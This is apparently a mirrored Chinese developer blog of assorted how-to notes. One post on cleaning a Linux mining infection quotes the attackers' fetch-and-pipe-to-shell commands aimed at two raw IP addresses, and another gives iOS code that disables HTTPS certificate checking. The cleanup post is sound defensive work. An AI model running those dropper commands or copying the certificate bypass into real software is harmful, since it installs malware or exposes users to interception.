Giter Site home page Giter Site logo

cheenbee.github.io's Introduction

Hi there 👋

cheenbee.github.io's People

Stargazers

 avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

guorj

cheenbee.github.io's Issues

服务端更改上传文件大小限制

环境:centOS7, php7.2
要改两处地方

修改php配置文件的限制

  1. 更改php.ini配置文件中 upload_max_filesize

    # 查看当前环境中的php限制上传文件大小
    $ php -i | grep upload
    
  2. 找到php.ini所在位置

    # 输出php.ini所在的文件目录
    $ whereis php.ini
    
    # 多种方式查找 php.ini 所在目录
    $ php -i | grep "Loaded Configuration File"
    $ ps -ef | grep 'php-fpm' 
    
  3. 编辑php.ini并修改upload_max_filesize为你想设置的数值,最好会使用VIM查找关键词的方法

    # 允许上传的文件大小的最大值
    upload_max_filesize = 50M
    # 通过POST表单传给PHP的数据大小最大值
    post_max_size = 50M
    

修改nginx配置文件的限制

# 自行查找对应的nginx配置文件
$ vim /etc/nginx/nginx.conf

# 将此字段设置为目标大小
client_max_body_size 50m;

PS: 重启php-fpm和nginx即可

#  查看php-fpm进程号
$ ps aux|grep php-fpm

# 使用 kill -USR2 平滑重载
$ kill -USR2 18267

Cydia 使用出现的问题及解决方案

Cydia 使用出现的问题及解决方案

1.Cydia Sources Refresh :Error Host Unreachable

正解: 使用雷锋源Netfix Cydia联网修正, 先在 Cydia 源中添加雷锋源 (http://apt.abcydia.com)

尝试: 更换 hosts , iPhone hosts 所在位置: /etc/hosts(指向/private/etc/hosts的符号链接)

越狱手机上通过 Cydia 安装 Filza ,下载 Google Hosts 中的hosts 使用微信传到手机上, 通过 Filza 拷贝移动替换 /etc/hosts, 开关飞行模式重启后还是无用

尝试:使用Charles做代理抓取 Sources Refresh 请求

折腾无果

2.Cydia 安装 NewTerm2 缺少依赖 com.linusyang.localeutf8

可以从 github 上 NewTerm项目里看到确实依赖了 com.linusyang.localeutf8

而从Cydia安装此依赖的页面上了解到这个依赖在theBigBoss源上

不巧的是Cydia在刷新源时,theBigBoss源却一直拉取不到数据

最后我选择屈服于 Reddit 上说的由于theBigBoss源服务器不稳定,试一试运气大法,大约在一周后的一个周五上午连接上了 theBigBoss源,成功安装了NewTerm2,没事的时候经常刷新源会连上的

h5调起微信支付一系列问题(商家参数错误及无法返回app)

h5 无法调起微信支付错误:商家参数格式有误

1.商家参数格式有误,请联系商家解决 参考微信官方文档罗列的常见错误

  1. APP里调起H5支付,需要在 webview 中手动设置referer, referer的作用是验证是否为安全支付来源, 代码如下: (本文以UIWebView为例)
- (BOOL) webView:(UIWebView*)webView shouldStartLoadWithRequest:(NSURLRequest*)request navigationType:(UIWebViewNavigationType) navigationType 
{
    NSDictionary *headers = [request allHTTPHeaderFields];
    BOOL hasReferer = [headers objectForKey:@"Referer"]!=nil;
    if (hasReferer) {
        // .. is this my referer?
        return YES;
    } else {
        // relaunch with a modified request
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
            dispatch_async(dispatch_get_main_queue(), ^{
                NSURL *url = [request URL];
                NSMutableURLRequest* request = [NSMutableURLRequest requestWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:60.0];
                [request setHTTPMethod:@"GET"];
                [request setValue:@"https://whatever.com" forHTTPHeaderField: @"Referer"];
                [self.webView loadRequest:request];
            });
        });
        return NO;
    }
}

(https://stackoverflow.com/questions/7913305/specifying-http-referer-in-embedded-uiwebview?noredirect=1)

iOS h5 支付从微信返回直接跳转到 Safari 浏览器无法跳转到 app

修改 Referer 和配置 scheme 进行跳转

  1. 设置 Referer 值为:

    [request setValue:@"whatever.com://" forHTTPHeaderField: @"Referer"];  
    
  2. 在Xcode项目Target->Info->URL Types 添加一个scheme

  3. Referer 去除 http:// 或 https:// 依然可以进行支付

在 Safari 浏览器中进行 scheme 跳转回app

  1. h5支付完成会配置一个回调地址,在此网页中再次进行scheme跳转

    window.location.href = "scheme://whatever.com"
    
  2. 在 Safari 中可以通过scheme打开指定 app, 经过浏览器迂回跳转到 app,也可以配置scheme进行指定页面跳转

参考:

  1. ios微信H5支付提示参数格式错误
  2. iOS 解决微信h5支付无法直接返回APP的问题
  3. iOS实现微信外部H5支付完成后返回原APP(多APP也可实现)
  4. iOS支付宝H5支付无法返回APP解决方案
  5. iOS scheme跳转机制

移除 navigationController 栈中的指定控制器

隐式移除 navigationController 栈中的指定控制器

案例: 在订单支付完成的时候会进行跳转到订单支付成功页面,返回的时候需要直接返回到商详页或者购物车页,而中间的提交订单及支付页则需要隐式移除掉

  1. 遍历查找到目标控制器,执行 removeFromParentViewController 方法

    # 会出现navigationBar的title显示错乱问题
    for (UIViewController *vc in self.navigationController.viewControllers) {
        if ([vc isKindOfClass:[TargetAController class]]) {
            [vc removeFromParentViewController];
        } else if ([vc isKindOfClass:NSClassFromString(@"TargetBController")]) {
            [vc removeFromParentViewController];
        }
    }
    
  2. 复制 navigationController.viewControllers 为可变数组,遍历 navigationController.viewControllers 查找到目标控制器,从可变数组中移除即可

    NSMutableArray *mutableViewControllers = [NSMutableArray arrayWithArray:self.navigationController.viewControllers];
    for (UIViewController *vc in self.navigationController.viewControllers) {
        if ([vc isKindOfClass:[TargetAController class]]) {
            [mutableViewControllers removeObject:vc];
        } else if ([vc isKindOfClass:NSClassFromString(@"TargetBController")]) {
            [mutableViewControllers removeObject:vc];
        }
    }
    self.navigationController.viewControllers = mutableViewControllers;
    
    

gitignore 立即生效方法

  1. 先提交本地的所有改动的地方
  2. checkout 一个有最新提交记录的新分支作备份
  3. 修改gitignore文件后执行以下命令立即生效
git rm -rf --cached .
git add .
tips

查看gitignore规则确认忽略目录和文件是否设置正确

git check-ignore -v App.class

如果提示未找到该文件或目录,需修改至gitignore能查找到的路径

iOS 卡片视图(圆角)

iOS 卡片视图(圆角)

  1. 在 view.bounds 未知的情况下
UIView *view = [[UIView alloc] init];
// 圆角设置为10
view.layer.cornerRadius = 10;
view.layer.masksToBounds = YES;
return view;
  1. 已知 view.bounds
UIView *view = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 100, 100)];

CGRect rect = view.bounds;
// 给view四个角切圆角(可自定义角)
UIBezierPath *rounded = [UIBezierPath bezierPathWithRoundedRect:rect byRoundingCorners:UIRectCornerTopLeft|UIRectCornerTopRight|UIRectCornerBottomLeft|UIRectCornerBottomRight cornerRadii:CGSizeMake(10,10)];
CAShapeLayer *shape = [[CAShapeLayer alloc] init];
[shape setPath:rounded.CGPath];
view.layer.mask = shape;

贴出自用的UIView类别实现卡片
UIView+Card.h

@interface UIView (Card)

/// 四角圆角视图(view.frame未知可用)
+ (instancetype)cardView;


#pragma mark - 给视图切圆角需获取到此视图的bounds
/// 给视图左上和右上切圆角
- (void)makeTopLeftRightCornerRound;

/// 给视图左下和右下切圆角
- (void)makeBottomLeftRightCornerRound;

/// 给视图四角切圆角
- (void)makeTopBottomCornerRound;

@end

UIView+Card.m

#import "UIView+Card.h"

// 全局圆角为8
static CGFloat const kDZHCardCornerRadius = 8;

@implementation UIView (Card)

+ (instancetype)cardView {
    UIView *view = [[UIView alloc] init];
    view.layer.cornerRadius = kDZHCardCornerRadius;
    view.layer.masksToBounds = YES;
    return view;
}

- (void)makeTopBottomCornerRound {
    [self makeCornerByRoundingCorners:UIRectCornerTopLeft|UIRectCornerTopRight|UIRectCornerBottomLeft|UIRectCornerBottomRight];
}

- (void)makeTopLeftRightCornerRound {
    [self makeCornerByRoundingCorners:UIRectCornerTopLeft|UIRectCornerTopRight];
}

- (void)makeBottomLeftRightCornerRound {
    [self makeCornerByRoundingCorners:UIRectCornerBottomLeft|UIRectCornerBottomRight];
}

- (void)makeCornerByRoundingCorners:(UIRectCorner)corners {
    CGRect rect = self.bounds;
    UIBezierPath *rounded = [UIBezierPath bezierPathWithRoundedRect:rect byRoundingCorners:corners cornerRadii:CGSizeMake(kDZHCardCornerRadius, kDZHCardCornerRadius)];
    CAShapeLayer *shape = [[CAShapeLayer alloc] init];
    [shape setPath:rounded.CGPath];
    self.layer.mask = shape;
}

@end

Mac自用必装软件

Mac自用安装软件

  1. Etcher - 将系统镜像iso/img写入SD卡/U盘/硬盘等存储介质
  2. Impactor - 将ipa文件安装到iPhone上,安装过程中需要苹果开发者账号
  3. PxCook马克鳗 - 可对设计稿PSD或者图片进行标注
  4. Moom - 窗口大小布局管理
  5. Sourcetree - git可视化客户端
  6. Navicat - 连接数据库工具
  7. SecureCRT - 连接服务器的终端
  8. ImageOptim - 图片压缩工具
  9. Dash - 文档查看工具
  10. XMind - 思维导图
  11. Charles - 抓包工具,可以用来抓取接口,借鉴数据结构
  12. Postman - API接口请求调试工具
  13. MWeb - markdown语法写作记录工具
  14. iTerm - 替代系统自带终端,配合ZSH使用更佳
  15. Alfread - 通过关键字快速打开软件/搜索
  16. Foxmail - 邮件管理客户端
  17. Shadowsocks - ss代理客户端
  18. 欧路词典 - 英语词典软件
  19. Homebrew - 包管理工具,可安装软件/第三方包
  20. Snipaste - 截图工具
  21. 1Password - 密码管理工具
  22. Apifox - API 调试工具
  23. Proxyman - 抓包工具
  24. checkra - iPhone越狱
  25. FinalShell - SSH连接工具
  26. RustDesk - 远程连接
  27. Insomnia - API调试工具
  28. keka - mac文件解压缩工具
  29. ClashX - 代理客户端
  30. Listen 1 - 音乐播放器

更全面的指南:
Awesome Mac
少数派

租借行业多方位风控策略

租借多方位风控策略

交押金

  1. 免押金策略
    • 接入芝麻信用分(已不可用),支付宝推出支付宝预授权专为租赁提供
    • 接入微信支付分
    • 结合自建的信用体系

建立信用体系

  1. 用户完成订单增加信用分
  2. 完善用户信息增加信用分
    • 用户上传身份证照片正反面,严格可以加一张手持身份证照片,并通过人脸识别认;证,保存用户信息
    • 用户个人其他证件:驾驶证件照,社保认证,公司认证文件

建立黑名单,关键字为手机号和身份证号,可与同行共享黑名单进行完善补充

  1. 企业发展形成规模要有律师团队

提前预防

  1. 提交订单处,让用户选择同意租借服务协议,罗列违约行为及后果;
  2. 为租借的物品购买保险,商家可与用户共同承担费用
  3. 制定磨损及丢失赔偿标准

Linux挖矿病毒清理

服务器挖矿病毒清理

这个病毒很鸡贼,每天零点开始运行,到早上八点结束,而且还会删除挖矿脚本及日志,悄悄的安排上计划任务,零点再去下载挖矿项目

阿里云给出的安全警告

命令执行攻击成功警报(框架漏洞或者由Redis弱口令等)

15780205888328

  1. 从这个命令攻击得知是通过tp框架的漏洞调用方法,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,解决方法:ThinkPHP5.*版本发布安全更新
  2. 注意攻击者利用shell_exec函数可以执行Linux命令并附带了 wget -q -O - http://142.44.191.122/spr.sh|sh 获取下载执行 spr.sh 脚本

主动连接恶意下载源警报

15779379772586

  1. 访问 http://142.44.191.122/spre.sh 直接下载了文件spre.sh

  2. 此文件代码只有一个目的获取权限执行命令下载 http://142.44.191.122/spr.sh 上的 spr.sh 文件

  3. spr.sh 执行计划任务,下载挖矿项目

连接矿池异常警报

15780204875280

服务器有连接矿池的行为,由此可以确定服务器是被黑客攻击用来挖矿了

解决方案

一、堵住攻击入口,ThinkPHP5.*版本安全更新

  1. 使用强路由
  2. 更新版本或手动修复添加控制器过滤

二、查找挖矿相关进程杀掉

# 部分病毒进程示例
kinsing
kdevtmpfsi
kworker
watchdogs
ksoftirqd
migration
khungtaskd
  1. 查找命令ps -aux| grep kinsing
    杀进程命令kill 9 PID
    如杀不死查看这个进程的守护进程,先杀守护进程再杀此进程

  2. 删除与进程相关的文件
    查找文件 find / -name kinsing

三、排查服务器定时计划任务

  1. 查看服务器计划任务,发现与之有关的任务
$ crontab -l
# 每天00:02会执行此任务
$ 2 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

#顺腾摸瓜找到 /root/.acme.sh/acme.sh ,直接暴力删除.acme.sh/文件夹
  1. 查看**/var/spool/cron/**下面的所有文件防止漏网之鱼,增加了crontab任务后,在/var/spool/cron目录下会有一个当前登录账号命名的文件
$  * * * * * wget -q -O - http://195.3.146.118/t.sh | sh > /dev/null 2>&1
$  2 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

删除计划任务,慎用 crontab -r

四、 重置用户权限和账号密码

对运行病毒任务的用户组及用户进行密码修改,权限限制或者直接删除

五、设置安全组规则

  1. 将用不到的端口访问规则都删除,只设置用到的端口

  2. 出方向拒绝ECS访问以下IP地址(出现在警告里以及病毒shell代码里出现的ip)

这里的授权对象IP地址涉及到一个知识点:CIDR

可通过淘宝IP地址库查看IP地址归属和本机的外网IP

PS:终极解决办法是重装系统,从头来过

参考:

云服务器ECS感染木马病毒后的解决方法

Linux挖矿病毒的清除与分析

事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录

Docker概念及常用命令

以安装操作系统为例理解 Docker 中的三大基本概念

可以把docker理解为虚拟机VM
docker中的三个基本概念: 镜像(image), 容器(container), 仓库(Docker Registry)
VM安装操作系统的三个基本概念: 系统镜像, 安装完成的操作系统, 下载系统镜像的网站

1. 镜像(image) 相当于给电脑安装系统的系统镜像

2. 容器(container) 相当于使用系统镜像安装的系统

  • 例如使用windows系统镜像可以安装windows系统, 在docker中也可以通过运行docker镜像来生成一个对应的docker容器
  • docker容器就相当于安装完成的windows系统,也可以理解为docker镜像的实例
  • 使用Windows系统镜像可以多次使用安装多个windows系统,同理在docker中使用同一个镜像也可以实例化生成多个容器

3. 仓库(Docker Registry) 相当于系统之家等可以下载系统镜像的网站

  • 在docker镜像仓库中可以下载你想要的各种docker镜像

Docker常用命令

#查看所有docker映像
docker images       

#查看所有容器
docker ps      

#查看正在运行中的容器     
docker ps -a  

#停止运行xxxx容器(xxxx为容器id前4位)      
docker stop XXXX    

#删除一个映像
docker rmi image-name     

#删除所有映像          
docker rmi -r $(docker images -q)  

#删除所有容器
docker rm $(docker ps -a -q)  
      
#进入容器
docker exec -it container-id bash  

#退出容器 
exit        

#退出当前容器并结束该容器
ctrl+c      

Safety: User Generated Content

如果你的APP涉及到用户发布信息内容功能也就是朋友圈,需要采取以下措施才能通过APPStore审核

  1. 可以拉黑/屏蔽其他用户或者发布的内容
  2. 可以举报用户发布的内容
  3. 平台要审核用户发布的内容
  4. 在用户服务/使用协议里增加信息内容规范,建议参考腾讯微信软件许可及服务协议-第八条用户行为规范

如果你的APP还是被拒,建议在回复审核人员的邮件中添加自己的联系方式
If you have any questions, please contact us. Phone: +86182******09.

禁用 viewController 中的右滑返回手势

禁用 viewController 中的右滑返回手势

案例: 以京东支付收银台页面为例,上一级页面是提交订单,此页面选择支付方式, 右滑手势被禁用,放弃支付只能点击导航栏的返回按钮返回(实际是跳转)到订单列表页面,这么做是为了防止右滑返回到上一级提交订单页面,避免重复提交生成同样的订单或再次修改同一订单

简单有效: 直接设置手势代理,重写代理方法

// 在viewDidAppear中禁用控制器导航右滑手势
- (void)viewDidAppear:(BOOL)animated {
    [super viewDidAppear:animated];
    [self dzh_popGestureEnabled:NO];
}

// viewWillDisAppear中启用,避免影响到其他控制器的手势操作
- (void)viewWillDisappear:(BOOL)animated {
    [super viewWillDisappear:animated];
    [self dzh_popGestureEnabled:YES];
}

// 设置导航控制器的手势代理
- (void)dzh_popGestureEnabled:(BOOL)isEnabled {
    if (![self.navigationController respondsToSelector:@selector(interactivePopGestureRecognizer)]) {
        return;
    }
    
    self.navigationController.interactivePopGestureRecognizer.delegate = isEnabled ? nil : self;
}

#pramrk - UIGestureRecognizerDelegate
- (BOOL)gestureRecognizerShouldBegin:(UIGestureRecognizer *)gestureRecognizer {
    return NO;
}


ps:如果多个地方使用,建议将此代理方法抽出来放到UIViewController的分类中以供调用

电商优惠券如何设计实现

开发优惠券是为了拉取新用户,留存老用户,提升用户活跃度,刺激消费

优惠券功能设计

后台设计

表设计

两张表,优惠券信息表,用户优惠券列表表 ,通过优惠券列表里的优惠券id查询优惠券信息
15651464946945

后台管理:

查看优惠券类型
15651473383136

新建优惠券
15651474002056

客户端展示

优惠券列表:

15651478082426
15651478810012

订单使用优惠券:

15651496749203

参考:
运营视角:优惠券后台设计思考
优惠券管理后台

优惠券功能设计完成 如何发放成为首要问题

发放时机

  1. 新用户注册即送新人礼券
  2. 老用户下单即送优惠礼券
  3. 用户启动APP,随机赠送用户红包礼券(根据用户下单数据发放)
  4. 邀请新用户注册赠送

发放落地页

  1. APP内领券中心
  2. 微信内分享领取
  3. H5邀请好友注册涉及的注册页
  4. 下单页,自动发放优惠券或手动领取

参考:
优惠券发放策略设计需求文档

查看电脑端 Shadowsocks 所有服务器配置信息包括密码

如果你在安卓手机上使用SS客户端扫描电脑端的服务器配置二维码,会提醒你手机需支持GooglePlay,而安装GooglePlay服务需要翻墙,从此陷入无解死循环

恰好你想不起服务器的密码了,电脑端的ss客户端也不能查看服务器密码,只能通过:

  1. 导出 Shadowsocks 全部服务器的配置
    15694042702669

  2. 导出的是一个json文件,打开并找到对应的目标服务器项即可查看密码等信息
    15694045190845

如何在服务器使用镜像源高速下载安装软件服务

本文以centos安装elasticsearch为例

参照官方Installing from the RPM repository

/etc/yum.repos.d/目录内新建文件 elasticsearch.repo 并编辑内容如下

[elasticsearch]
name=Elasticsearch repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=0
autorefresh=1
type=rpm-md

运行安装命令

sudo yum install --enablerepo=elasticsearch elasticsearch

预估需要17小时才能下载完
15958432032278

果断终止,由于开发部署中使用的大部分第三方软件托管在国外服务器,在国内的服务器下载,速度肯定会受影响,所以使用国内对应的镜像站即可解决速度问题

这里使用清华大学开源镜像站,提供的软件基本齐全 (阿里云镜像站没有找到elasticsearch镜像,清华可能会因为校园断电等外因而中断服务,阿里云的稳定性比清华高一点,建议优先选择使用阿里云的镜像站)

编辑/etc/yum.repos.d/elasticsearch.repo,修改baseurl为:

[elasticsearch]
name=Elasticsearch repository for 7.x packages
baseurl=https://mirrors.tuna.tsinghua.edu.cn/elasticstack/7.x/yum/
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=0
autorefresh=1
type=rpm-md

替换的baseurl对应上官方的地址即可,运行安装,速度拉满
15958424148626

使用yum下载安装 elasticsearch 默认目录为 /usr/share/elasticsearch

PS: rpm和yum使用镜像源安装软件同理

iOS下载ipa包的方法

随着MacOS系统的升级,iTunes也不能降版本使用了,通过iTunes 获取ipa包的方法已失效.
还好找到了另一种方法,前提是你在手机上已安装了此应用:

  1. Mac App Store 下载 Apple Configurator 2应用

  2. 通过 Apple Configurator 2 连接iphone,添加应用,登录AppleID账号
    15687806021762

  3. 查找苹果账号中已购买的历史,找到并添加你想要ipa的应用,如果你想获取的应用还没下载过,请先在iPhone APPStore下载.
    15687807574581

  4. 等待下载添加完成,由于你的手机上已安装了此应用,所以卡在等待你做出选择页面,此时请勿动,ipa包已下载,只需找到它即可,存储的路径为 ~/Library/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps
    15687811255639

  5. 打开Finder,使用快捷键Command+shift+G前往该目录
    15687845251072

小技巧: 获取ipa内 Assets.car 图片资源

  1. 将.ipa文件改后缀为.zip解压,Payload文件夹内选择应用显示包内容即可找到Assets.car
    15687847813928

  2. 使用cartool工具即可获取Assets.car内的图片资源

参考

  1. 如何在Mac上获取App Store的ipa包
  2. Mac上解压Assets.car文件的小工具

Python 多版本管理 - Pyenv

Python 版本管理

因为Python2与Python3差异过大,学习和开发中会使用不同版本的Python,如何切换不同的Python环境成为首要解决的问题.

一、 pyenv

安装pyenv
  1. macos 使用homebrew安装pyenv
$ brew update
$ brew install pyenv

其他环境请参考官方安装指南

  1. 追加shell配置,配置PYENV_ROOT环境变量和启用垫片及自动补全功能
$ echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc
$ echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc
$ echo -e 'if command -v pyenv 1>/dev/null 2>&1; then\n  eval "$(pyenv init -)"\nfi' >> ~/.zshrc

如果你shell用的是bash请将zshrc替换为bash_profile

# 查看当前使用shell的信息
$ echo $SHELL
pyenv 常用命令
# 查看所有可用命令
pyenv commands

# 查看当前python版本
pyenv version

# 查看本机安装的所有python版本
pyenv versions

# 查看所有可安装的版本
pyenv install -l

# 安装指定版本
pyenv install 3.6.0
# 安装新版本后rehash一下
pyenv rehash

# 卸载指定版本
pyenv uninstall 3.6.0

# 指定全局版本
pyenv global 3.6.0

# 指定多个全局版本, 3版本优先
pyenv global 3.6.0 2.7.14

# 实际上当你切换版本后, 相应的pip和包仓库都是会自动切换过去的
使用 pyenv 切换 python 环境
# 设置全局的 Python 版本,通过将版本号写入 ~/.pyenv/version 文件的方式。
pyenv gloabl 2.7.0 

# 设置 Python 本地版本,通过将版本号写入当前目录下的 .python-version 文件的方式
 # 通过这种方式设置的 Python 版本优先级较 global 高
pyenv local 2.7.0  

 # 设置面向 shell 的 Python 版本,通过设置当前 shell 的 PYENV_VERSION 环境变量的方式
 # 这个版本的优先级比 local 和 global 都要高
pyenv shell 3.6.0

# –unset 参数可以用于取消当前 shell 设定的版本
$ pyenv shell --unset

# 每当你增删了 Python 版本或带有可执行文件的包(如 pip)以后,都应该执行一次rehash命令)
$ pyenv rehash

pyenv 设置 python 版本优先级

shell > local > global

pyenv 会从当前目录开始向上逐级查找 .python-version 文件,直到根目录为止。若找不到,就用 global 版本。

tips

指定某一个项目使用的python版本,使用local指定版本

# 进入项目目录
$ cd my_python_workspace
$ pyenv local 3.6.0

全局使用某一个python版本,使用global指定版本
$ pyenv gloabl 2.7.0

二、使用 pyenv 的插件 pyenv-virtualenv 管理Python环境

安装
  1. 安装并配置完成 pyenv

  2. 使用 homebrew 安装 pyenv-virtualenv

    $ brew install pyenv-virtualenv
    
    # 追加shell配置
    $ echo 'eval "$(pyenv virtualenv-init -)"' >> ~/.zshrc
    $ source ~/.zshrc
    
使用
```
# 创建python3.6.0版本名称为"pyenv-3.6.0"的虚拟环境
$ pyenv virtualenv 3.6.0 pyenv-3.6.0

# 列出所有的虚拟环境
$ pyenv virtualenvs

# 激活虚拟环境
$ pyenv activate <name>  

# 退出虚拟环境,回到系统环境
pyenv deactivate

# 删除虚拟环境
$ pyenv uninstall my-virtual-env
```

三、安装多个不同版本的Python 配合PyCharm可指定项目使用的Python版本

macOS 自带的Python版本为2.7.10,若想使用 Python3 版本

# 安装最新版本的python
brew install python3 

# 包管理使用
pip3 install scrapy

在PyCharm中指定此版本的Python为项目使用版本

15609438676234

参考:
使用 pyenv 管理 Python 版本
Python版本管理神器-pyenv
pyenv
pyenv-virtualenv
Pipenv: Python Development Workflow for Humans

使用shell脚本拉取服务器上多个项目代码

问题: 服务器上部署4个项目,每一次更新代码都要到不同的目录中去拉取代码,效率太低
目标: 决定使用shell脚本 一行命令实现拉取所有的项目代码
实现: 其实是把在服务器上要敲的命令集合在一个文件内,而服务器又可以解释执行这个文件
  1. 在服务器上新建一个以**.sh**结尾的文件, touch pull.sh

  2. 将命令写入 pull.sh 文件中

    #!/bin/bash
    cd /usr/www/www.test.com
    git pull origin master
    cd /usr/www/admin.test.com
    git pull origin master
    cd /usr/www/m.test.com
    git pull origin master
    cd /usr/www/api.test.com
    git pull origin master
    chmod -R 777 runtime
    
  3. 运行 /bin/bash pull.sh 即可

下一步: 使用git仓库 webhooks 触发自动拉取仓库代码
思考: 负载上的多台服务器如何构建自动化

参考:
Shell脚本编程30分钟入门

iOS 绕过 HTTPS 安全证书验证的2种方法

iOS 绕过 HTTPS 安全证书验证的2种方法

1. 添加NSURLRequest分类,引不引入到使用的文件内都可以

@interface NSURLRequest (IgnoreSSL)
+(BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host;
@end

@implementation NSURLRequest (IgnoreSSL)
+(BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host {
    return YES;
}
@end

2. 设置 NSURLConnection/NSURLSession 的 delegate 更改请求认证

- (BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace {
    return [protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust];
}

- (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
    if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust])
        if ([trustedHosts containsObject:challenge.protectionSpace.host])
            [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge];
    
    [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge];
}

参考链接:
1.How to use NSURLConnection to connect with SSL for an untrusted cert?

2019,有懒惰也有努力

2019,有懒惰也有努力

技术入股大租行科技公司,做准专业影视设备租赁平台

  1. 需求整理完,为了省钱,找了外包公司研发,三个月工期结束进度一半都没完成,遂接手;
  2. 找来2个之前公司的同事(1安卓1前端),感激他们愿意陪我一起努力奋斗,期间无产品无UI无后端无运维(现在也是),每个人都被磨炼成了全栈,后台(PHP)、服务器运维这些技能都是手到擒来;
  3. 接手1个月之后上线,之后基本处于每周一版的状态,APP、PC网站、微信小程序、百度小程序相继都已开发完成;
  4. 管理公司的途中我也不断的打怪升级,捋业务,出文案,画原型,找图标,简单设计一些图,下发任务,监管进度,开发iOS,线上服务器运维,线上线下推广活动策划实行、数据跟踪,对接商家,分析竞争对手等;
  5. 学会了一些管理小知识,无形之中,我们已成为一个技术驱动型的小团队,从学校招了2个测试实习生,现在已经慢慢转型负责小程序的开发和管理平台的一些业务;
  6. 线上业务稳步行进中,2020年的第一个目标是实现盈亏平衡

在淘宝开店,了解电商运营

  1. 媳妇在2019年8月份开始经营自己的淘宝店,主营品类为20-30岁女性的包包,我也开始了淘宝店铺运营职业
  2. 现如今的淘宝只有你能切入到一个小而且垂直的领域才有可能慢慢实现盈利,很庆幸的是我媳妇选的产品是这其中的一类,做了一些工作:仓库管理,拍图,切图,装修店铺,商品详情设计,官方活动参与,店铺自建活动,监控流量变化,优化标题,优化主图,媳妇考研冲刺阶段我兼做了一个月的店铺客服,处理售后问题
  3. 店铺等级也到了四钻,经营状况在不断变好,希望下一年有所突破

2020年想做的事

猫咪老师网站上线运营

想自己创业,做一个和宠物相关的项目

开启投资

在且慢或蛋卷上跟随固定基金经理定投基金
了解学习青泽和缠中说禅的投资理论(天道观后有感)

19年明白的事理

  1. 遇到问题想办法去解决问题
  2. 看待事情会冷静一点,会想一点背后的逻辑(和媳妇吵架除外)
  3. 对人性理解多了一点,会多一些理性看待自己和他人
  4. 更贪生怕死了,害怕突然死了不能接着去做自己喜欢也可以做的事情
  5. 越来越容易满足

使用 Github Issues 作博客

简书现在发布公开文章需要手机号和微信绑定,想起2年前还是用github和hexo搭建了博客,想把文章迁移到自己的博客,看着自己略显炫酷的博客,还是感觉这不是自己想要的主题,不够精简.在找主题的过程中发现了能人异士使用 issues 当作自己的博客,惊为天人,issues 简直就是博客的中小清新

issues 的优点

  1. 支持markdown语法(最重要)
  2. 可使用 Projects 给文章分类
  3. 可使用 labes 给文章打标签
  4. 文章列表和内容详情页面简洁明了

具体使用指南

  1. 新建 Project 作类别 (不需要将文章分类可忽略)

  2. 新建 label 作管理标签 (不需要可忽略)

  3. 新建 issue 作博文 (不可省略)

  4. 在 issue 右侧可选择此 issue 的分类(Project)和标签(label)

  5. 成果展示

使用Electron打包VUE项目为Windows/Mac跨平台桌面应用

使用Electron打包现有VUE项目为Windows/Mac跨平台桌面应用

一、使用 electron 打包vue项目在桌面运行

  1. electron官方快速开始示例demo下载到本地 electron-quick-start

  2. 将demo中的main.js复制到vue项目里的build目录下并重命名为electron.js

  3. 修改electron.js中的mainWindow.loadFile路径

     // 修改为'../dist/index.html'
     mainWindow.loadFile('../dist/index.html')
    
  4. 修改config目录中index.js文件 assetsPublicPath./

    build: {
    index: path.resolve(__dirname, '../dist/index.html'),
    // Paths
    assetsRoot: path.resolve(__dirname, '../dist'),
    assetsSubDirectory: 'static',
    
    // 修改assetsPublicPath: './'
    assetsPublicPath: './',
    // ......
    }
    
  5. 项目根目录下package.json中scripts添加 electron-dev 运行脚本命令

    "scripts": {
    "dev": "webpack-dev-server --host 0.0.0.0 --inline --progress --config build/webpack.dev.conf.js",
    "start": "npm run dev",
    "unit": "jest --config test/unit/jest.conf.js --coverage",
    "e2e": "node test/e2e/runner.js",
    "test": "npm run unit && npm run e2e",
    "lint": "eslint --ext .js,.vue src test/unit test/e2e/specs",
    "build": "node build/build.js",
    
    // 添加运行脚本 electron-dev
    "electron-dev": "npm run build && electron build/electron.js"
    }
    
  6. 在终端中运行如下命令启动项目

    //使用淘宝源cnpm
    $ npm install -g cnpm --registry=https://registry.npm.taobao.org --verbose
    $ cd vue-project
    $ cnpm install
    // 安装electron
    $ cnpm install electron --save-dev
    $ npm run electron-dev
    

二、打包生成exe可安装文件

  1. 复制build目录下的electron.jsdist目录中,注意修改路径

     // 修改为'index.html',dist下的electron.js和index.html同级
     mainWindow.loadFile('index.html')
    
  2. 复制demo示例中的package.json到dist目录中,注意修改路径
    使用electron 将web页面(vue-cli)打包为桌面应用
    "main": "electron.js"

  3. 在项目根目录下的package.json中增加一条打包启动命令

    "electron_build": "electron-packager ./dist helloworld --platform=win32 --arch=x64 --icon=./src/assets/home.ico --overwrite"   //增加这条
    
  4. 执行命令生成exe

    $ cnpm install electron-packager
    $ npm run electron_build
    
  5. 下载安装Resource Hacker,在.exe文件上鼠标右键,更换图标后保存即可

参考:

使用 Electron 打包 Vue 项目

iPhone 越狱初试

越狱工具

